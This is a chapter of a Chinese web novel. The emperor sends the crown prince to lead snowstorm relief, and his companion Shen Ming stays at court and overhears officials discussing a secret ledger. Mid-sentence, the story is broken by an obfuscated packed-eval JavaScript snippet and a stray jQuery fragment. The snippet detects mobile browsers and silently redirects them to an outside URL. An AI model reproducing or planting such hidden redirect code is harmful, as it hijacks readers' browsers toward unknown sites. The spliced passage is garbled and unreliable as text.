36.柔软的心
作品:《太子又在自我攻略了》 早朝上。
因大景基本隔上几年就会来一次天灾,所以此次南方以宁城为中心等地天降异常大雪,众臣倒也没有故意说着“天灾示警”来撩拨永熙帝的虎须,而是将重点放在了如何赈灾上。
赈灾事关重大,满殿的大臣吵吵嚷嚷了快一上午,才终于将赈灾的章程大致定下来:
开放南方“义仓”储备粮,并从临近未受灾城池调拨存粮。当地官员组织按户发放口粮,同时设多个粥棚点赈济灾民。
派遣户部官员携带国库拨出的赈灾银两,昼夜赶赴灾情最严重的宁城及周边受灾各城,发放赈银并全程监察,确保每一两银子都用在了实处。
工部官员一同前往,督率人手修缮、重建百姓们被大雪压塌的屋舍,并疏通官道驿路,以确保粮食、药材等赈灾物资能顺利运达各处。
调派宁城附近临山卫、武州卫官兵前往灾区营救百姓,维持秩序,巡护粮仓、银库及灾民安置之所,严防匪盗滋事、流民生乱。
就在诸项方略议定之时,工部一位官员突然走出队列,躬身道:
“臣提议,让太子殿下作为钦差,代陛下亲赴宁城等地督赈。此举既能彰显朝廷对赈灾事宜的重视,督促南方一众官员尽心履职救灾,又能抚慰上下民心,令百姓感沐陛下与太子的拳拳关爱之心与恩德。”
此言一出,群臣议论纷纷。
户部尚书周子诚掀起眼皮,锐利的眼风扫过正暗暗得意的儿子,稍稍一想便明白是他按捺不住,迫不及待想把太子支出工部。
心中不由微微摇头,却也已经阻止不及了。
太沉不住气了,这明显是一招坏棋。单靠赈灾这一次功劳,就不知要为太子积累下多少民心了。
与民心所向和大统相比,工部那点东西又算得了什么?
众臣讨论了一阵,最后一致觉得这个提议甚好,就看陛下舍不舍得放人了。
永熙帝他——
当然是不舍得了!
这是他从小带到大的孩子,这么多年就没有踏出过京城一步,这一下子要去到这么远,且那边突发天灾,也不知道大雪还会不会再继续下,若在那边出了什么事,他鞭长莫及,救都来不及。
但——
孩子不经磨练就不会不成器。
并且,若是太子漂亮周全地处置了此事,安全无虞归来,便可为他赢取不少民心,对他以后顺利继位是有极大好处的……
永熙帝举棋不定。
此时太子主动站出:“儿臣愿代父皇走这一趟,救我大景百姓,体恤民情,以安其心。”
李琮心中自然明白这是周阁的一步棋。不过,此事又何尝不是引蛇出洞的机会?他一走,周党必会掉以轻心,露出马脚来。
更重要的,在他正跌跌撞撞学走路、还对“太子”这一称呼懵懂之时,母后就抚着他的头温声告诉他:储君这一层身份,不是他的权利,而是他的责任。
譬如此刻,他就应当担起他的责任。
永熙帝既心疼又欣慰地看着自己的儿子,起身道:“好,不愧是我大景朝的储君,朕封你为“总督宁城赈灾事宜钦差大臣”,总揽此次赈务!”
他略微一顿,枯瘦的身形竟隐隐显出锋利来:
“赐你尚方宝剑。如遇贪渎赈银、玩忽职守、延误工事者——无论品阶,准你先斩后奏!”
李琮沉稳应答:“儿臣领旨,必不负父皇所望!”
·
直至退朝后,沈明才听李琮派回来的侍卫说了这事,他人并未回来,还留在宫中,与永熙帝和诸位重臣继续商议赈灾的细节。
沈明懊恼,这些日子光顾着在工部查线索,竟把如此重要的事情给忘了。
她记得前世的太子虽然不在工部,但这次赈灾也是作为钦差去了。在他的督促下,赈灾进行得非常顺利,但太子却意外受了伤,回来后听宝平公公说似乎是在救助灾民的时候被伤到了。
沈明想,这次她可以跟着太子一同前去,帮太子防备可能会遇到的危险。
思及救灾宜早不宜迟,太子应该很快就会出发。
此刻太子和宝平都不在东宫,沈明便带着四喜给太子整理行装,缝着厚实皮毛的大氅、常用的伤药等等……
这一收拾就是一下午,太子却始终没有回来。
同上次一样,沈明在后殿等待太子。
这次直至深夜李琮方才归来,进殿时李琮就有某种预感——
果然,宝平刚掀开门帘,一道身影就急步走了过来。
李琮比他更快一步踏进殿里:“外面冷,你未着大氅,不要出来。”
还没等李琮把大氅脱下来,沈明便着急地开口问:“殿下何时出发?”
李琮却分外冷静:“此事紧急,最快明日一早,最晚明日下午我们就启程。”
果然……
沈明直接说:“我也要同殿下一起去!”
李琮在回来前已预料他可能会这么说,便拿出提前准备好的说辞:“这次我和谢逸都出去了,东宫不能一个人不留。万一京城出了什么事,我们离得远难免鞭长莫及,你得留下,看好家。”
沈明满肚子争取的话就被这句“看好家”堵回来了。
她很担心太子,怕他同前世一样受伤。但理智告诉她太子说的是对的,二皇子和周家一直虎视眈眈,四皇子那边又敌友不明,趁着此次太子离宫,他们难免会有什么动作。
李琮看他垂着眼不吭声,知道他已是被说服。
他方才说的原因只是一方面,更多的是,出门万里,还是危险的灾情之地,不知会出现什么他意料之外的危机,沈明还是待在宫里更能让他放心。
他看着在昏黄的灯光下显得分外柔和的人,心中的第一个念头竟是怎么能让他跟着自己跑一趟吃苦。
接着便是不舍——
这不舍出其不意又来势汹汹,一下子淹没了他,让他有些无措。
他幼年失恃,这些年在凶险重重的皇宫,自忖早已将这颗心炼成了一副无坚不摧的盔甲,任何风霜刀剑都无法伤他分毫。
却不曾想到,这不惧刀剑的盔甲,在眼前人毫不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178434|196226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掩饰的担忧中再次不受控制地化成了一颗柔软的心。
此刻,这几日始终萦绕在心头的淡淡酸涩尽数酿成了甜蜜,滋润着他同样干渴已久的方寸之心。
这颗心一边珍惜地啜吸着为数不多的甜蜜,一边又不满地渴望着更多。
……
既然不能同去,沈明想到太子受伤之事,便提醒他:“殿下孤身在外,要多注意安全,不可大意。”
“尤其灾情可能反复,一定要避开粥棚之类的临时驻扎之地,大雪之下容易坍塌。”
“还有灾民,他们遭此大难,必然躁动难安,容易暴动。殿下在安抚他们之时,也要顾及自身安危。”
“……”
眼前人喋喋不休、事无巨细地嘱咐着,李琮没有打断他,只是始终勾起嘴角,静静听着。
翌日。
沈明早早起身,再次向后殿走去,准备送一送太子。
却只看到一个空荡荡的宫殿,太子竟早已出发。
“殿下特意命奴才们不得叫醒您。”四喜解释道。
好在太子并不是只带着肩不能抗手不能提的文官们,为了储君的安全,永熙帝特地安排了精勇善战的虎贲卫随行护卫太子。
沈明稍稍放下了些心。
太子出发后,沈明变成了每日独自一人去工部上值,值房中也只有他自己,时常感到不习惯,还会时不时想着太子已走到哪儿了。
不过,眼前工部的事也很重要,沈明让自己尽量集中心神,转而紧紧盯着汪弼和周阁二人的一举一动。
果然没过几日他们就有了动作。
太子已走,只留下一个小小的伴读在工部,他们当然不会放在眼里。
趁着太子走了,两人近日便频频密谈,有时在周阁值房里,有时则是在汪弼那边,关上门一聊就是半天。
这日,沈明见两个形迹可疑的人搬了个箱子进入汪弼值房,没多久周阁又急匆匆地过去,直觉有要事发生,便佯作路过,悄悄地到了汪弼值房外。
她四下一看,此刻工部众官员都在伏案工作,无人走动,且此处有屏风遮挡,便轻轻附耳过去——
周阁:“马上年底了,这段时间更要仔细些,千万别在这个节骨眼上出什么幺蛾子。”
汪弼:“大人尽管放心。太子不在,工部都是咱们自己人,不会出事的。”
周阁:“账本呢?”
汪弼:“下官片刻不离身。”
沈明心中轻轻一动:账本?
周阁:“算算也快到日子了,那帮人什么时候抵京?”
汪弼:“大人说的不错,就在这几日了。”
周阁:“记得与他们交代清楚……”
就在此时,外间不知哪个官员重重咳嗽了一声,随即传来一阵噼里啪啦东西掉落的声音——
“谁在外面?!”
沈明心下一惊,接着便听到屋内人快速朝门外走来的脚步声。
她暗道一声糟,情急之下,她正要抬步越过屏风,便被身后传来的一股大力直接拉扯过去——

